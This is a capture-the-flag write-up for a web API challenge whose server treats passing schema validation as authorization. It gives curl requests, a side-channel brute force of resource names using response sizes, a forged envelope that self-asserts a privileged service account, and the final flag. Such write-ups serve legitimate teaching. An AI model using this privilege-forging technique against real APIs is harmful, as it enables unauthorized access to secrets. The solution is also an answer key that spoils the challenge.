Webmedium
Validation Dungeon
by Pavel Knespl (capyplivl)
A blackbox API where every response is a rendered PNG of a JSON body. POSTing an envelope to /gateway returns only the first schema violation each time. The flaw is that passing schema validation is treated as authorization, so a client can self-assert a service-account:validator capability set and read a restricted system secret.
Solve
- POST a JSON envelope to
/gatewayand save the PNG reply. On error it renders{code,path,message,hint}; on successok:trueplus the flag.curl -s -X POST https://<host>/gateway \ -H 'Content-Type: application/json' \ -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' \ --data @envelope.json -o resp.png - Each round, edit
envelope.jsonper the violation in the previous PNG and re-POST. Walking the chain fills in the required fields:$.apiVersion "validation.dungeon/v3" $.kind "HighLevelRequest" $.metadata.requestId ^req-[a-f0-9]{12}$ -> req-0123456789ab $.metadata.labels {client, purpose} $.metadata.labels.purpose schema-discovery / integration-test / incident-response $.spec.service catalog / validator / vault $.spec.action describe / list / read $.spec.resource {namespace, name} $.spec.resource.namespace public / tenant / system $.spec.authorization.mode none / token / capability $.spec.authorization.subject only service-account:validator for privileged calls $.spec.authorization.capabilities array, caps depend on the tuple $.spec.transport.accept application/json or application/vnd.validation-dungeon.flag+json - A
vault/read system/flagattempt returnsAPI-404(no matching tuple; discover resources withcatalog/listandvault/list). Switch toaction: "list"with capssystem.list,vault.list. - Brute-force
resource.namefor the list call and compare PNG byte sizes;vault/listonsystem/resourcesreturns a largeok:truelisting (the 25906-byte outlier) instead of the fixed-size error image. - The listing enumerates the
systemnamespace. One resource isclassification: "restricted"and advertisesapplication/vnd.validation-dungeon.flag+json: the flag object, nameddeployment_artifact_7f3a9c. - Read it. The first attempt returns
VAL-091 $.spec.transport.unwrap expected boolean true, so addtransport.unwrap: true. Final accepted envelope:{"apiVersion":"validation.dungeon/v3","kind":"HighLevelRequest", "metadata":{"requestId":"req-0123456789ab","labels":{"client":"acme","purpose":"integration-test"}}, "spec":{"service":"vault","action":"read", "resource":{"namespace":"system","name":"deployment_artifact_7f3a9c"}, "authorization":{"mode":"capability","subject":"service-account:validator", "capabilities":["system.read","vault.read"]}, "transport":{"accept":"application/vnd.validation-dungeon.flag+json","unwrap":true}}} - POST it and read the result PNG:
{ "ok": true, "flag": "SVIUSCG{schema_validation_is_not_authorization}" }.
Flag: SVIUSCG{schema_validation_is_not_authorization}